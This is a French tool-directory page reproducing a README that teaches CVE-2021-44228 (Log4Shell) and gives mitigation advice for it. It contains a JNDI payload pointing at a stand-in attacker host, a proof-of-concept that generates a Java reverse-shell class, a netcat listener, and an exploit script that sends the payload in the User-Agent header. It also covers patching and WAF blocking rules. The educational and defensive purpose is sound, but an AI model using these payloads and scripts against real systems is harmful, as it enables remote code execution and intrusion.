Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-44228 — Analyse éducative de CVE-2021-44228 (Log4Shell) avec scripts PoC, décomposition du vecteur d'attaque et conseils d'atténuation pour comprendre et tester la vulnérabilité critique d'exécution de code à distance (RCE) dans Apache Log4j. | Kitploit
Outils/GitHubGitHub/kaleth4/cve-2021-44228
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Analyse éducative de CVE-2021-44228 (Log4Shell) avec scripts PoC, décomposition du vecteur d'attaque et conseils d'atténuation pour comprendre et tester la vulnérabilité critique d'exécution de code à distance (RCE) dans Apache Log4j.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🛡️ CVE-2021-44228: Analyse de Log4Shell - La Vulnérabilité qui a Révolutionné la Sécurité Java

Impact Critique (CVSS 10.0) | Découverte en 2021, cette faille dans Apache Log4j permet l'exécution de code à distance (RCE) et affecte des millions de systèmes mondiaux. Encore aujourd'hui, c'est un rappel clé pour la cybersécurité !

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Qu'est-ce que Log4Shell ?

CVE-2021-44228, connue sous le nom de Log4Shell, est une vulnérabilité critique d'Exécution de Code à Distance (RCE) dans la bibliothèque de journalisation Apache Log4j 2. Cette faille permet à des attaquants malveillants d'exécuter du code arbitraire sur des serveurs vulnérables simplement en envoyant une chaîne de texte spécialement conçue que l'application enregistre.

  • Pourquoi est-elle si dangereuse ? Log4j est omniprésent dans les applications Java, y compris les services cloud, les applications web et les logiciels d'entreprise. Son exploitation ne nécessite pas d'authentification et peut se propager facilement via des entrées utilisateur comme les en-têtes HTTP, les formulaires ou les chats.
  • Découverte par : Chen Zhaojun d'Alibaba Cloud Security (novembre 2021). Divulguée publiquement le 9 décembre 2021, déclenchant des alertes mondiales de la CISA, du NCSC et d'autres.
  • Impact mondial : A affecté des centaines de millions d'appareils. Des entreprises comme Minecraft, Twitter et Cisco ont été touchées. Des attaques massives ont été observées : >100 par minute à son apogée.

Log4Shell n'est pas seule ; elle a donné lieu à CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) et CVE-2021-4104 (RCE dans Log4j 1.2).


💀 Vecteur d'Attaque et Fonctionnement

Le cœur du problème est la gestion non sécurisée de JNDI (Java Naming and Directory Interface) dans Log4j, qui résout des recherches distantes sans assainissement.

Exemple de Payload basique

root@kitploit:~
${jndi:ldap://atacante.com:1389/Exploit}

Comment cela fonctionne :

  1. L'attaquant injecte le payload dans un message enregistré (ex. : User-Agent en HTTP).
  2. Log4j détecte ${...} et active une recherche JNDI.
  3. Le serveur vulnérable se connecte au serveur LDAP/RMI/DNS de l'attaquant.
  4. Une classe Java malveillante est téléchargée et exécutée (ex. : shell inversé).

Protocoles exploitables : LDAP, RMI, DNS, IIOP, etc. Cela permet des menaces telles que :

  • Coinmining : Vol de ressources pour miner des cryptomonnaies.
  • Ransomware : Chiffrement de données (ex. : Khonsari, Night Sky).
  • DoS/DDoS : Surcharge de systèmes (ex. : via le botnet Mirai).
  • Mouvement latéral : Outils comme Cobalt Strike pour l'escalade.

Chaîne d'Infection (Kill Chain) :

  1. Reconnaissance : Scan de ports et d'en-têtes pour détecter Log4j.
  2. Injection : Envoi du payload dans des entrées non assainies.
  3. Résolution : JNDI contacte le serveur attaquant.
  4. Exécution : Le code malveillant est chargé et exécuté (ex. : téléchargement de malware comme Kinsing).
  5. Persistance : Exfiltration de credentials (/etc/passwd, /etc/shadow) ou installation de backdoors.

📈 Détails Techniques

Statistiques d'Impact :

  • 90% des environnements cloud exposés initialement.

  • Exploitée par des groupes étatiques (Chine, Corée du Nord) et des cybercriminels.
  • Correctif initial : Log4j 2.15.0 (décembre 2021), mais incomplet ; version sécurisée : 2.17.1+.

🚀 Preuve de Concept (PoC) Éducative

⚠️ Avertissement : Ce contenu est exclusivement à des fins éducatives et pour des tests autorisés. N'utilisez pas cela sur des systèmes sans autorisation explicite. Exploiter des vulnérabilités sans autorisation est illégal (par exemple, viole des lois comme le CFAA aux États-Unis). Effectuez toujours un pentesting éthique.

Basé sur des dépôts publics comme kozmer/log4j-shell-poc, voici un aperçu simplifié d'un PoC dans des environnements contrôlés (ex. : Docker/VM local).

Étapes Générales pour Simuler (Environnement Vulnérable)

  1. Clonez le Repo : git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Construisez Docker : docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. Installez Java Vulnérable (ex. : JDK 8u202) : Téléchargez depuis des miroirs fiables, extrayez et configurez le chemin (ex. : /usr/bin/jdk1.8.0_202).
  4. Modifiez le Script PoC (poc.py) : Ajustez les chemins Java et les IP. Exemple d'extrait corrigé (version simplifiée) :
root@kitploit:~
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (code de shell inversé simplifié)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Classe Exploit générée avec succès')
    except Exception as e:
        print(Fore.RED + f'[-] Erreur : {e}')

# ... (fonctions pour serveur LDAP et serveur web similaires à l'original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] PoC Éducative pour CVE-2021-44228 - Utilisez-la uniquement dans des labs !")
    # Arguments : --userip localhost --webport 8000 --lport 9001
    # Lance LDAP, serveur web et génère le payload

if __name__ == "__main__":
    main()
  1. Exécutez : python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. Listener (Netcat) : nc -lvnp 9001 - Surveillez le shell inversé.
  3. Injectez le Payload : Dans l'application vulnérable (http://localhost:8080), utilisez ${jndi:ldap://127.0.0.1:1389/a} dans un champ de connexion/recherche.
  4. Vérifiez : Connexion dans Netcat ; les logs dans le terminal montrent la résolution JNDI.

PoC Simple en Python (Listener + Exploit) : Pour des démos rapides, utilisez ce duo de scripts (exécutez le listener d'abord).

listener.py :

root@kitploit:~
import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener sur {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Connexion de {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Appuyez sur Entrée pour arrêter...\n")  # Maintient en vie

exploit.py :

root@kitploit:~
import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] Envoyé vers {target} | Statut : {r.status_code}")
    except Exception as e:
        print(f"[!] Erreur : {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

Exécution : python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

Remarques : Nécessite Marshalsec pour LDAP simulé. Testez uniquement dans des labs isolés.


🛡️ Atténuation et Correctifs

Agissez dès maintenant ! Log4Shell peut être évité avec des mises à jour et des configurations.

1. Mise à Jour Recommandée (Priorité Haute)

  • Passez à Log4j 2.17.1 ou supérieur (désactive JNDI par défaut).
  • Téléchargement : Apache Log4j Releases.
  • Vérifiez les dépendances indirectes avec des outils comme mvn dependency:tree ou Snyk.

2. Correctifs Rapides (Temporaires)

  • Flag JVM : -Dlog4j2.formatMsgNoLookups=true
  • Environnement : LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Configuration Log4j : Dans log4j2.xml, ajoutez <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

3. Suppression Manuelle

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Supprime les classes JNDI des JARs.

4. Mesures Supplémentaires

  • WAF/IPS : Bloquez les payloads ${jndi:*} (ex. : règles dans ModSecurity ou Cloudflare).
  • Scan : Utilisez des outils comme Nuclei ou Nessus pour détecter les versions vulnérables.
  • Correctif Virtuel : Implémentez dans les pare-feux pour bloquer les recherches distantes.
  • Surveillance : Mettez à jour l'antivirus/EDR (ex. : règles IPS Seqrite pour Log4Shell).

Pour les CVE dérivées :

  • CVE-2021-45046 : Mettez à jour vers 2.16.0+ et désactivez les recherches de messages.
  • CVE-2021-45105 : Évitez les recherches récursives dans les configurations non par défaut.
  • CVE-2021-4104 : N'utilisez pas JMSAppender avec JNDI dans Log4j 1.2.

📚 Ressources Supplémentaires

  • Officielles :
    • NVD - CVE-2021-44228
    • Bulletin de Sécurité Apache Log4j
  • Guides :
    • Microsoft Defender : Gestion de Log4Shell
    • Tenable : FAQ sur Log4Shell
    • Trend Micro : Impact et Atténuation
  • PoCs Éducatifs : GitHub - Log4j Shell PoC (avec avertissement légal).
  • Analyse Avancée : Seqrite : Exploitation Indiscriminée

Ce README.md est à des fins éducatives et de sensibilisation à la cybersécurité. Il ne promeut pas d'activités illégales. Si vous êtes un professionnel de la sécurité, évaluez votre environnement avec des outils comme OWASP Dependency-Check. Gardez vos systèmes à jour pour un monde plus sûr ! 🔒

Dernière mise à jour : Basé sur des données jusqu'en 2023. Vérifiez les sources officielles pour les nouveautés.

Télécharger l’outil
CaractéristiqueDétail
Score CVSS v3.110.0 (CRITIQUE) 🔥 - Gravité maximale possible.
Versions AffectéesLog4j 2.0-beta9 à 2.14.1 (inclut les dérivées jusqu'à 2.16.0 pour les sous-CVEs).
Cause RacineSubstitution de messages JNDI sans validation ; recherches distantes activées.
VecteursÀ distance, non authentifié ; affecte Java 8+ dans les apps web/cloud.
Produits ImpactésApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, et plus.
ExploitationFacile : PoCs publics sur GitHub ; ne nécessite pas de privilèges.